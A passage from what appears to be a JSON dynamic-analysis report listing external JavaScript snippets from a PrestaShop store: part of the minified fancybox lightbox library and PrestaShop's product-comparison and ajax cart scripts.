Date).getTime())).attr(\"scrolling\",s?\"auto\":a.iframe.scrolling).attr(\"src\",a.href);f(a.wrap).bind(\"onReset\",function(){try{f(this).find(\"iframe\").hide().attr(\"src\",\"//about:blank\").end().empty()}catch(a){}});a.iframe.preload&&(b.showLoading(),d.one(\"load\",function(){f(this).data(\"ready\",1);s||f(this).bind(\"load.fb\",b.update);f(this).parents(\".fancybox-wrap\").width(\"100%\").removeClass(\"fancybox-tmp\").show();b._afterLoad()}));a.content=d.appendTo(a.inner);a.iframe.preload||b._afterLoad()},_preloadImages:function(){var a=b.group,d=b.current,e=a.length,c=d.preload?Math.min(d.preload,e-1):0,f,g;for(g=1;g<=c;g+=1)f=a[(d.index+g)%e],\"image\"===f.type&&f.href&&((new Image).src=f.href)},_afterLoad:function(){var a=b.coming,d=b.current,e,c,k,g,h;b.hideLoading();if(a&&!1!==b.isActive)if(!1===b.trigger(\"afterLoad\",a,d))a.wrap.stop(!0).trigger(\"onReset\").remove(),b.coming=null;else{d&&(b.trigger(\"beforeChange\",d),d.wrap.stop(!0).removeClass(\"fancybox-opened\").find(\".fancybox-item, .fancybox-nav\").remove());b.unbindEvents();e=a.content;c=a.type;k=a.scrolling;f.extend(b,{wrap:a.wrap,skin:a.skin,outer:a.outer,inner:a.inner,current:a,previous:d});g=a.href;switch(c){case \"inline\":case \"ajax\":case \"html\":a.selector?e=f(\"<div>\").html(e).find(a.selector):t(e)&&(e.data(\"fancybox-placeholder\")||e.data(\"fancybox-placeholder\",f('<div class=\"fancybox-placeholder\"></div>').insertAfter(e).hide()),e=e.show().detach(),a.wrap.bind(\"onReset\",function(){f(this).find(e).length&&e.hide().replaceAll(e.data(\"fancybox-placeholder\")).data(\"fancybox-placeholder\",!1)}));break;case \"image\":e=a.tpl.image.replace(\"{href}\",g);break;case \"swf\":e='<object id=\"fancybox-swf\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"100%\" height=\"100%\"><param name=\"movie\" value=\"'+g+'\"></param>',h=\"\",f.each(a.swf,function(a,b){e+='<param name=\"'+a+'\" value=\"'+b+'\"></param>';h+=\" \"+a+'=\"'+b+'\"'}),e+='<embed src=\"'+g+'\" type=\"application/x-shockwave-flash\" width=\"100%\" height=\"100%\"'+h+\"></embed></object>\"}(!t(e)||!e.parent().is(a.inner))&&a.inner.append(e);b.trigger(\"beforeShow\");a.inner.css(\"overflow\",\"yes\"===k?\"scroll\":\"no\"===k?\"hidden\":k);b._setDimension();b.reposition();b.isOpen=!1;b.coming=null;b.bindEvents();if(b.isOpened){if(d.prevMethod)b.transitions[d.prevMethod]()}else f(\".fancybox-wrap\").not(a.wrap).stop(!0).trigger(\"onReset\").remove();b.transitions[b.isOpened?a.nextMethod:a.openMethod]();b._preloadImages()}},_setDimension:function(){var a=b.getViewport(),d=0,e=!1,c=!1,e=b.wrap,k=b.skin,g=b.inner,h=b.current,c=h.width,j=h.height,m=h.minWidth,u=h.minHeight,n=h.maxWidth,p=h.maxHeight,s=h.scrolling,q=h.scrollOutside?h.scrollbarWidth:0,x=h.margin,y=l(x[1]+x[3]),r=l(x[0]+x[2]),v,z,t,C,A,F,B,D,H;e.add(k).add(g).width(\"auto\").height(\"auto\").removeClass(\"fancybox-tmp\");x=l(k.outerWidth(!0)-k.width());v=l(k.outerHeight(!0)-k.height());z=y+x;t=r+v;C=E(c)?(a.w-z)*l(c)/100:c;A=E(j)?(a.h-t)*l(j)/100:j;if(\"iframe\"===h.type){if(H=h.content,h.autoHeight&&1===H.data(\"ready\"))try{H[0].contentWindow.document.location&&(g.width(C).height(9999),F=H.contents().find(\"body\"),q&&F.css(\"overflow-x\",\"hidden\"),A=F.outerHeight(!0))}catch(G){}}else if(h.autoWidth||h.autoHeight)g.addClass(\"fancybox-tmp\"),h.autoWidth||g.width(C),h.autoHeight||g.height(A),h.autoWidth&&(C=g.width()),h.autoHeight&&(A=g.height()),g.removeClass(\"fancybox-tmp\");c=l(C);j=l(A);D=C/A;m=l(E(m)?l(m,\"w\")-z:m);n=l(E(n)?l(n,\"w\")-z:n);u=l(E(u)?l(u,\"h\")-t:u);p=l(E(p)?l(p,\"h\")-t:p);F=n;B=p;h.fitToView&&(n=Math.min(a.w-z,n),p=Math.min(a.h-t,p));z=a.w-y;r=a.h-r;h.aspectRatio?(c>n&&(c=n,j=l(c/D)),j>p&&(j=p,c=l(j*D)),c<m&&(c=m,j=l(c/D)),j<u&&(j=u,c=l(j*D))):(c=Math.max(m,Math.min(c,n)),h.autoHeight&&\"iframe\"!==h.type&&(g.width(c),j=g.height()),j=Math.max(u,Math.min(j,p)));if(h.fitToView)if(g.width(c).height(j),e.width(c+x),a=e.width(),y=e.height(),h.aspectRatio)for(;(a>z||y>r)&&(c>m&&j>u)&&!(19<d++);)j=Math.max(u,Math.min(p,j-10)),c=l(j*D),c<m&&(c=m,j=l(c/D)),c>n&&(c=n,j=l(c/D)),g.width(c).height(j),e.width(c+x),a=e.width(),y=e.height();else c=Math.max(m,Math.min(c,c-(a-z))),j=Math.max(u,Math.min(j,j-(y-r)));q&&(\"auto\"===s&&j<A&&c+x+q<z)&&(c+=q);g.width(c).height(j);e.width(c+x);a=e.width();y=e.height();e=(a>z||y>r)&&c>m&&j>u;c=h.aspectRatio?c<F&&j<B&&c<C&&j<A:(c<F||j<B)&&(c<C||j<A);f.extend(h,{dim:{width:w(a),height:w(y)},origWidth:C,origHeight:A,canShrink:e,canExpand:c,wPadding:x,hPadding:v,wrapSpace:y-k.outerHeight(!0),skinSpace:k.height()-j});!H&&(h.autoHeight&&j>u&&j<p&&!c)&&g.height(\"auto\")},_getPosition:function(a){var d=b.current,e=b.getViewport(),c=d.margin,f=b.wrap.width()+c[1]+c[3],g=b.wrap.height()+c[0]+c[2],c={position:\"absolute\",top:c[0],left:c[3]};d.autoCenter&&d.fixed&&!a&&g<=e.h&&f<=e.w?c.position=\"fixed\":d.locked||(c.top+=e.y,c.left+=e.x);c.top=w(Math.max(c.top,c.top+(e.h-g)*d.topRatio));c.left=w(Math.max(c.left,c.left+(e.w-f)*d.leftRatio));return c},_afterZoomIn:function(){var a=b.current;a&&(b.isOpen=b.isOpened=!0,b.wrap.css(\"overflow\",\"visible\").addClass(\"fancybox-opened\"),b.update(),(a.closeClick||a.nextClick&&1<b.group.length)&&b.inner.css(\"cursor\",\"pointer\").bind(\"click.fb\",function(d){!f(d.target).is(\"a\")&&!f(d.target).parent().is(\"a\")&&(d.preventDefault(),b[a.closeClick?\"close\":\"next\"]())}),a.closeBtn&&f(a.tpl.closeBtn).appendTo(b.skin).bind(\"click.fb\",function(a){a.preventDefault();b.close()}),a.arrows&&1<b.group.length&&((a.loop||0<a.index)&&f(a.tpl.prev).appendTo(b.outer).bind(\"click.fb\",b.prev),(a.loop||a.index<b.group.length-1)&&f(a.tpl.next).appendTo(b.outer).bind(\"click.fb\",b.next)),b.trigger(\"afterShow\"),!a.loop&&a.index===a.group.length-1?b.play(!1):b.opts.autoPlay&&!b.player.isActive&&(b.opts.autoPlay=!1,b.play()))},_afterZoomOut:function(a){a=a||b.current;f(\".fancybox-wrap\").trigger(\"onReset\").remove();f.extend(b,{group:{},opts:{},router:!1,current:null,isActive:!1,isOpened:!1,isOpen:!1,isClosing:!1,wrap:null,skin:null,outer:null,inner:null});b.trigger(\"afterClose\",a)}});b.transitions={getOrigPosition:function(){var a=b.current,d=a.element,e=a.orig,c={},f=50,g=50,h=a.hPadding,j=a.wPadding,m=b.getViewport();!e&&(a.isDom&&d.is(\":visible\"))&&(e=d.find(\"img:first\"),e.length||(e=d));t(e)?(c=e.offset(),e.is(\"img\")&&(f=e.outerWidth(),g=e.outerHeight())):(c.top=m.y+(m.h-g)*a.topRatio,c.left=m.x+(m.w-f)*a.leftRatio);if(\"fixed\"===b.wrap.css(\"position\")||a.locked)c.top-=m.y,c.left-=m.x;return c={top:w(c.top-h*a.topRatio),left:w(c.left-j*a.leftRatio),width:w(f+j),height:w(g+h)}},step:function(a,d){var e,c,f=d.prop;c=b.current;var g=c.wrapSpace,h=c.skinSpace;if(\"width\"===f||\"height\"===f)e=d.end===d.start?1:(a-d.start)/(d.end-d.start),b.isClosing&&(e=1-e),c=\"width\"===f?c.wPadding:c.hPadding,c=a-c,b.skin[f](l(\"width\"===f?c:c-g*e)),b.inner[f](l(\"width\"===f?c:c-g*e-h*e))},zoomIn:function(){var a=b.current,d=a.pos,e=a.openEffect,c=\"elastic\"===e,k=f.extend({opacity:1},d);delete k.position;c?(d=this.getOrigPosition(),a.openOpacity&&(d.opacity=0.1)):\"fade\"===e&&(d.opacity=0.1);b.wrap.css(d).animate(k,{duration:\"none\"===e?0:a.openSpeed,easing:a.openEasing,step:c?this.step:null,complete:b._afterZoomIn})},zoomOut:function(){var a=b.current,d=a.closeEffect,e=\"elastic\"===d,c={opacity:0.1};e&&(c=this.getOrigPosition(),a.closeOpacity&&(c.opacity=0.1));b.wrap.animate(c,{duration:\"none\"===d?0:a.closeSpeed,easing:a.closeEasing,step:e?this.step:null,complete:b._afterZoomOut})},changeIn:function(){var a=b.current,d=a.nextEffect,e=a.pos,c={opacity:1},f=b.direction,g;e.opacity=0.1;\"elastic\"===d&&(g=\"down\"===f||\"up\"===f?\"top\":\"left\",\"down\"===f||\"right\"===f?(e[g]=w(l(e[g])-200),c[g]=\"+=200px\"):(e[g]=w(l(e[g])+200),c[g]=\"-=200px\"));\"none\"===d?b._afterZoomIn():b.wrap.css(e).animate(c,{duration:a.nextSpeed,easing:a.nextEasing,complete:b._afterZoomIn})},changeOut:function(){var a=b.previous,d=a.prevEffect,e={opacity:0.1},c=b.direction;\"elastic\"===d&&(e[\"down\"===c||\"up\"===c?\"top\":\"left\"]=(\"up\"===c||\"left\"===c?\"-\":\"+\")+\"=200px\");a.wrap.animate(e,{duration:\"none\"===d?0:a.prevSpeed,easing:a.prevEasing,complete:function(){f(this).trigger(\"onReset\").remove()}})}};b.helpers.overlay={defaults:{closeClick:!0,speedOut:200,showEarly:!0,css:{},locked:!s,fixed:!0},overlay:null,fixed:!1,el:f(\"html\"),create:function(a){a=f.extend({},this.defaults,a);this.overlay&&this.close();this.overlay=f('<div class=\"fancybox-overlay\"></div>').appendTo(b.coming?b.coming.parent:a.parent);this.fixed=!1;a.fixed&&b.defaults.fixed&&(this.overlay.addClass(\"fancybox-overlay-fixed\"),this.fixed=!0)},open:function(a){var d=this;a=f.extend({},this.defaults,a);this.overlay?this.overlay.unbind(\".overlay\").width(\"auto\").height(\"auto\"):this.create(a);this.fixed||(n.bind(\"resize.overlay\",f.proxy(this.update,this)),this.update());a.closeClick&&this.overlay.bind(\"click.overlay\",function(a){if(f(a.target).hasClass(\"fancybox-overlay\"))return b.isActive?b.close():d.close(),!1});this.overlay.css(a.css).show()},close:function(){var a,b;n.unbind(\"resize.overlay\");this.el.hasClass(\"fancybox-lock\")&&(f(\".fancybox-margin\").removeClass(\"fancybox-margin\"),a=n.scrollTop(),b=n.scrollLeft(),this.el.removeClass(\"fancybox-lock\"),n.scrollTop(a).scrollLeft(b));f(\".fancybox-overlay\").remove().hide();f.extend(this,{overlay:null,fixed:!1})},update:function(){var a=\"100%\",b;this.overlay.width(a).height(\"100%\");I?(b=Math.max(G.documentElement.offsetWidth,G.body.offsetWidth),p.width()>b&&(a=p.width())):p.width()>n.width()&&(a=p.width());this.overlay.width(a).height(p.height())},onReady:function(a,b){var e=this.overlay;f(\".fancybox-overlay\").stop(!0,!0);e||this.create(a);a.locked&&(this.fixed&&b.fixed)&&(e||(this.margin=p.height()>n.height()?f(\"html\").css(\"margin-right\").replace(\"px\",\"\"):!1),b.locked=this.overlay.append(b.wrap),b.fixed=!1);!0===a.showEarly&&this.beforeShow.apply(this,arguments)},beforeShow:function(a,b){var e,c;b.locked&&(!1!==this.margin&&(f(\"*\").filter(function(){return\"fixed\"===f(this).css(\"position\")&&!f(this).hasClass(\"fancybox-overlay\")&&!f(this).hasClass(\"fancybox-wrap\")}).addClass(\"fancybox-margin\"),this.el.addClass(\"fancybox-margin\")),e=n.scrollTop(),c=n.scrollLeft(),this.el.addClass(\"fancybox-lock\"),n.scrollTop(e).scrollLeft(c));this.open(a)},onUpdate:function(){this.fixed||this.update()},afterClose:function(a){this.overlay&&!b.coming&&this.overlay.fadeOut(a.speedOut,f.proxy(this.close,this))}};b.helpers.title={defaults:{type:\"float\",position:\"bottom\"},beforeShow:function(a){var d=b.current,e=d.title,c=a.type;f.isFunction(e)&&(e=e.call(d.element,d));if(q(e)&&\"\"!==f.trim(e)){d=f('<div class=\"fancybox-title fancybox-title-'+c+'-wrap\">'+e+\"</div>\");switch(c){case \"inside\":c=b.skin;break;case \"outside\":c=b.wrap;break;case \"over\":c=b.inner;break;default:c=b.skin,d.appendTo(\"body\"),I&&d.width(d.width()),d.wrapInner('<span class=\"child\"></span>'),b.current.margin[2]+=Math.abs(l(d.css(\"margin-bottom\")))}d[\"top\"===a.position?\"prependTo\":\"appendTo\"](c)}}};f.fn.fancybox=function(a){var d,e=f(this),c=this.selector||\"\",k=function(g){var h=f(this).blur(),j=d,k,l;!g.ctrlKey&&(!g.altKey&&!g.shiftKey&&!g.metaKey)&&!h.is(\".fancybox-wrap\")&&(k=a.groupAttr||\"data-fancybox-group\",l=h.attr(k),l||(k=\"rel\",l=h.get(0)[k]),l&&(\"\"!==l&&\"nofollow\"!==l)&&(h=c.length?f(c):e,h=h.filter(\"[\"+k+'=\"'+l+'\"]'),j=h.index(this)),a.index=j,!1!==b.open(h,a)&&g.preventDefault())};a=a||{};d=a.index||0;!c||!1===a.live?e.unbind(\"click.fb-start\").bind(\"click.fb-start\",k):p.undelegate(c,\"click.fb-start\").delegate(c+\":not('.fancybox-item, .fancybox-nav')\",\"click.fb-start\",k);this.filter(\"[data-fancybox-start=1]\").trigger(\"click\");return this};p.ready(function(){var a,d;f.scrollbarWidth===v&&(f.scrollbarWidth=function(){var a=f('<div style=\"width:50px;height:50px;overflow:auto\"><div/></div>').appendTo(\"body\"),b=a.children(),b=b.innerWidth()-b.height(99).innerWidth();a.remove();return b});if(f.support.fixedPosition===v){a=f.support;d=f('<div style=\"position:fixed;top:20px;\"></div>').appendTo(\"body\");var e=20===d[0].offsetTop||15===d[0].offsetTop;d.remove();a.fixedPosition=e}f.extend(b.defaults,{scrollbarWidth:f.scrollbarWidth(),fixed:f.support.fixedPosition,parent:f(\"body\")});a=f(r).width();J.addClass(\"fancybox-lock-test\");d=f(r).width();J.removeClass(\"fancybox-lock-test\");f(\"<style type='text/css'>.fancybox-margin{margin-right:\"+(d-a)+\"px;}</style>\").appendTo(\"head\")})})(window,document,jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\t$(document).on('click', '.add_to_compare', function(e){\t\te.preventDefault();\t\tif (typeof addToCompare != 'undefined')\t\t\taddToCompare(parseInt($(this).data('id-product')));\t});\treloadProductComparison();\tcompareButtonsStatusRefresh();\ttotalCompareButtons();});function addToCompare(productId){\tvar totalValueNow = parseInt($('.bt_compare').next('.compare_product_count').val());\tvar action, totalVal;\tif ($.inArray(parseInt(productId),comparedProductsIds) === -1)\t\taction = 'add';\telse\t\taction = 'remove';\t$.ajax({\t\turl: baseUri + '?controller=products-comparison&ajax=1&action=' + action + '&id_product=' + productId,\t\tasync: true,\t\tcache: false,\t\tsuccess: function(data) {\t\t\tif (action === 'add' && comparedProductsIds.length < comparator_max_item) {\t\t\t\tcomparedProductsIds.push(parseInt(productId)),\t\t\t\tcompareButtonsStatusRefresh(),\t\t\t\ttotalVal = totalValueNow +1,\t\t\t\t$('.bt_compare').next('.compare_product_count').val(totalVal),\t\t\t\ttotalValue(totalVal);\t\t\t}\t\t\telse if (action === 'remove') {\t\t\t\tcomparedProductsIds.splice($.inArray(parseInt(productId), comparedProductsIds), 1),\t\t\t\tcompareButtonsStatusRefresh(),\t\t\t\ttotalVal = totalValueNow -1,\t\t\t\t$('.bt_compare').next('.compare_product_count').val(totalVal),\t\t\t\ttotalValue(totalVal);\t\t\t}\t\t\telse\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([{\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + max_item + '</p>'\t\t\t\t\t}], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t\telse\t\t\t\t\talert(max_item);\t\t\t}\t\t\ttotalCompareButtons();\t\t},\t\terror: function(){}\t});}function reloadProductComparison(){\t$(document).on('click', 'a.cmp_remove', function(e){\t\te.preventDefault();\t\tvar idProduct = parseInt($(this).data('id-product'));\t\t$.ajax({\t\t\turl: baseUri + '?controller=products-comparison&ajax=1&action=remove&id_product=' + idProduct,\t\t\tasync: false,\t\t\tcache: false\t\t});\t\t$('td.product-' + idProduct).fadeOut(600);\t\tvar compare_product_list = get('compare_product_list');\t\tvar bak = compare_product_list;\t\tvar new_compare_product_list = [];\t\tcompare_product_list = decodeURIComponent(compare_product_list).split('|');\t\tfor (var i in compare_product_list)\t\t\tif (parseInt(compare_product_list[i]) != idProduct)\t\t\t\tnew_compare_product_list.push(compare_product_list[i]);\t\tif (new_compare_product_list.length)\t\t\twindow.location.search = window.location.search.replace(bak, new_compare_product_list.join(encodeURIComponent('|')));\t});};function compareButtonsStatusRefresh(){\t$('.add_to_compare').each(function() {\t\tif ($.inArray(parseInt($(this).data('id-product')), comparedProductsIds) !== -1)\t\t\t$(this).addClass('checked');\t\telse\t\t\t$(this).removeClass('checked');\t});}function totalCompareButtons(){\tvar totalProductsToCompare = parseInt($('.bt_compare .total-compare-val').html());\tif (typeof totalProductsToCompare !== \"number\" || totalProductsToCompare === 0)\t\t$('.bt_compare').attr(\"disabled\",true);\telse\t\t$('.bt_compare').attr(\"disabled\",false);}function totalValue(value){\t$('.bt_compare').find('.total-compare-val').html(value);}function get(name){\tvar regexS = \"[\\\\?&]\" + name + \"=([^&#]*)\";\tvar regex = new RegExp(regexS);\tvar results = regex.exec(window.location.search);\tif (results == null)\t\treturn \"\";\telse\t\treturn results[1];}",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\tajaxCart.overrideButtonsInThePage();\t$(document).on('click', '.block_cart_collapse', function(e){\t\te.preventDefault();\t\tajaxCart.collapse();\t});\t$(document).on('click', '.block_cart_expand', function(e){\t\te.preventDefault();\t\tajaxCart.expand();\t});\tvar current_timestamp = parseInt(new Date().getTime() / 1000);\tif (typeof $('.ajax_cart_quantity').html() == 'undefined' || (typeof generated_date != 'undefined' && generated_date != null && (parseInt(generated_date) + 30) < current_timestamp))\t\tajaxCart.refresh();\t/* roll over cart */\tvar cart_block = new HoverWatcher('#header .cart_block');\tvar shopping_cart = new HoverWatcher('#header .shopping_cart');\tvar is_touch_enabled = false;\tif ('ontouchstart' in document.documentElement)\t\tis_touch_enabled = true;\t$(document).on('click', '#header .shopping_cart > a:first', function(e){\t\te.preventDefault();\t\te.stopPropagation();\t\t// Simulate hover when browser says device is touch based\t\tif (is_touch_enabled)\t\t{\t\t\tif ($(this).next('.cart_block:visible').length && !cart_block.isHoveringOver())\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\telse if (ajaxCart.nb_total_products > 0 || parseInt($('.ajax_cart_quantity').html()) > 0)\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideDown(450);\t\t\treturn;\t\t}\t\telse\t\t\twindow.location.href = $(this).attr('href');\t});\t$(\"#header .shopping_cart a:first\").hover(\t\tfunction(){\t\t\tif (ajaxCart.nb_total_products > 0 || parseInt($('.ajax_cart_quantity').html()) > 0)\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideDown(450);\t\t},\t\tfunction(){\t\t\tsetTimeout(function(){\t\t\t\tif (!shopping_cart.isHoveringOver() && !cart_block.isHoveringOver())\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\t}, 200);\t\t}\t);\t$(\"#header .cart_block\").hover(\t\tfunction(){\t\t},\t\tfunction(){\t\t\tsetTimeout(function(){\t\t\t\tif (!shopping_cart.isHoveringOver())\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\t}, 200);\t\t}\t);\t$(document).on('click', '.delete_voucher', function(e){\t\te.preventDefault();\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\tasync: true,\t\t\tcache: false,\t\t\turl:$(this).attr('href') + '?rand=' + new Date().getTime()\t\t});\t\t$(this).parent().parent().remove(); ajaxCart.refresh();\t\tif ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc')\t\t{\t\t\tif (typeof(updateAddressSelection) != 'undefined')\t\t\t\tupdateAddressSelection();\t\t\telse\t\t\t\tlocation.reload();\t\t}\t});\t$(document).on('click', '#cart_navigation input', function(e){\t\t$(this).prop('disabled', 'disabled').addClass('disabled');\t\t$(this).closest(\"form\").get(0).submit();\t});\t$(document).on('click', '#layer_cart .cross, #layer_cart .continue, .layer_cart_overlay', function(e){\t\te.preventDefault();\t\t$('.layer_cart_overlay').hide();\t\t$('#layer_cart').fadeOut('fast');\t});\t$('#columns #layer_cart, #columns .layer_cart_overlay').detach().prependTo('#columns');});//JS Object : update the cart by ajax actionsvar ajaxCart = {\tnb_total_products: 0,\t//override every button in the page in relation to the cart\toverrideButtonsInThePage : function(){\t\t//for every 'add' buttons...\t\t$(document).off('click', '.ajax_add_to_cart_button').on('click', '.ajax_add_to_cart_button', function(e){\t\t\te.preventDefault();\t\t\tvar idProduct = parseInt($(this).data('id-product'));\t\t\tvar minimalQuantity = parseInt($(this).data('minimal_quantity'));\t\t\tif (!minimalQuantity)\t\t\t\tminimalQuantity = 1;\t\t\tif ($(this).prop('disabled') != 'disabled')\t\t\t\tajaxCart.add(idProduct, null, false, this, minimalQuantity);\t\t});\t\t//for product page 'add' button...\t\t$(document).off('click', '#add_to_cart button').on('click', '#add_to_cart button', function(e){\t\t\te.preventDefault();\t\t\tajaxCart.add($('#product_page_product_id').val(), $('#idCombination').val(), true, null, $('#quantity_wanted').val(), null);\t\t});\t\t//for 'delete' buttons in the cart block...\t\t$(document).off('click', '.cart_block_list .ajax_cart_block_remove_link').on('click', '.cart_block_list .ajax_cart_block_remove_link', function(e){\t\t\te.preventDefault();\t\t\t// Customized product management\t\t\tvar customizationId = 0;\t\t\tvar productId = 0;\t\t\tvar productAttributeId = 0;\t\t\tvar customizableProductDiv = $($(this).parent().parent()).find(\"div[data-id^=deleteCustomizableProduct_]\");\t\t\tvar idAddressDelivery = false;\t\t\tif (customizableProductDiv && $(customizableProductDiv).length)\t\t\t{\t\t\t\tvar ids = customizableProductDiv.data('id').split('_');\t\t\t\tif (typeof(ids[1]) != 'undefined')\t\t\t\t{\t\t\t\t\tcustomizationId = parseInt(ids[1]);\t\t\t\t\tproductId = parseInt(ids[2]);\t\t\t\t\tif (typeof(ids[3]) != 'undefined')\t\t\t\t\t\tproductAttributeId = parseInt(ids[3]);\t\t\t\t\tif (typeof(ids[4]) != 'undefined')\t\t\t\t\t\tidAddressDelivery = parseInt(ids[4]);\t\t\t\t}\t\t\t}\t\t\t// Common product management\t\t\tif (!customizationId)\t\t\t{\t\t\t\t//retrieve idProduct and idCombination from the displayed product in the block cart\t\t\t\tvar firstCut = $(this).parent().parent().data('id').replace('cart_block_product_', '');\t\t\t\tfirstCut = firstCut.replace('deleteCustomizableProduct_', '');\t\t\t\tids = firstCut.split('_');\t\t\t\tproductId = parseInt(ids[0]);\t\t\t\tif (typeof(ids[1]) != 'undefined')\t\t\t\t\tproductAttributeId = parseInt(ids[1]);\t\t\t\tif (typeof(ids[2]) != 'undefined')\t\t\t\t\tidAddressDelivery = parseInt(ids[2]);\t\t\t}\t\t\t// Removing product from the cart\t\t\tajaxCart.remove(productId, productAttributeId, customizationId, idAddressDelivery);\t\t});\t},\t// try to expand the cart\texpand : function(){\t\tif ($('.cart_block_list').hasClass('collapsed'))\t\t{\t\t\t$('.cart_block_list.collapsed').slideDown({\t\t\t\tduration: 450,\t\t\t\tcomplete: function(){\t\t\t\t\t$(this).parent().show(); // parent is hidden in global.js::accordion()\t\t\t\t\t$(this).addClass('expanded').removeClass('collapsed');\t\t\t\t}\t\t\t});\t\t\t// save the expand statut in the user cookie\t\t\t$.ajax({\t\t\t\ttype: 'POST',\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\turl: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(),\t\t\t\tasync: true,\t\t\t\tcache: false,\t\t\t\tdata: 'ajax_blockcart_display=expand',\t\t\t\tcomplete: function(){\t\t\t\t\t$('.block_cart_expand').fadeOut('fast', function(){\t\t\t\t\t\t$('.block_cart_collapse').fadeIn('fast');\t\t\t\t\t});\t\t\t\t}\t\t\t});\t\t}\t},\t// try to collapse the cart\tcollapse : function(){\t\tif ($('.cart_block_list').hasClass('expanded'))\t\t{\t\t\t$('.cart_block_list.expanded').slideUp('slow', function(){\t\t\t\t$(this).addClass('collapsed').removeClass('expanded');\t\t\t});\t\t\t// save the expand statut in the user cookie\t\t\t$.ajax({\t\t\t\ttype: 'POST',\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\turl: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(),\t\t\t\tasync: true,\t\t\t\tcache: false,\t\t\t\tdata: 'ajax_blockcart_display=collapse' + '&rand=' + new Date().getTime(),\t\t\t\tcomplete: function(){\t\t\t\t\t$('.block_cart_collapse').fadeOut('fast', function(){\t\t\t\t\t\t$('.block_cart_expand').fadeIn('fast');\t\t\t\t\t});\t\t\t\t}\t\t\t});\t\t}\t},\t// Fix display when using back and previous browsers buttons\trefresh : function(){\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&ajax=true&token=' + static_token,\t\t\tsuccess: function(jsonData)\t\t\t{\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t}\t\t});\t},\t// Update the cart information\tupdateCartInformation : function (jsonData, addedFromProductPage){\t\tajaxCart.updateCart(jsonData);\t\t//reactive the button when adding has finished\t\tif (addedFromProductPage)\t\t{\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\tif (!jsonData.hasError || jsonData.hasError == false)\t\t\t\t$('#add_to_cart button').addClass('added');\t\t\telse\t\t\t\t$('#add_to_cart button').removeClass('added');\t\t}\t\telse\t\t\t$('.ajax_add_to_cart_button').removeProp('disabled');\t},\t// close fancybox\tupdateFancyBox : function (){},\t// add a product in the cart via ajax\tadd : function(idProduct, idCombination, addedFromProductPage, callerElement, quantity, whishlist){\t\tif (addedFromProductPage && !checkCustomizations())\t\t{\t\t\tif (contentOnly)\t\t\t{\t\t\t\tvar productUrl = window.document.location.href + '';\t\t\t\tvar data = productUrl.replace('content_only=1', '');\t\t\t\twindow.parent.document.location.href = data;\t\t\t\treturn;\t\t\t}\t\t\tif (!!$.prototype.fancybox)\t\t\t $.fancybox.open([\t\t\t {\t\t\t type: 'inline',\t\t\t autoScale: true,\t\t\t minHeight: 30,\t\t\t content: '<p class=\"fancybox-error\">' + fieldRequired + '</p>'\t\t\t }\t\t\t ], {\t\t\t padding: 0\t\t\t });\t\t\telse\t\t\t alert(fieldRequired); return;\t\t}\t\t\t\t//disabled the button when adding to not double add if user double click\t\tif (addedFromProductPage)\t\t{\t\t\t$('#add_to_cart button').prop('disabled', 'disabled').addClass('disabled');\t\t\t$('.filled').removeClass('filled');\t\t}\t\telse\t\t\t$(callerElement).prop('disabled', 'disabled');\t\tif ($('.cart_block_list').hasClass('collapsed'))\t\t\tthis.expand();\t\t//send the ajax request to the server\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : 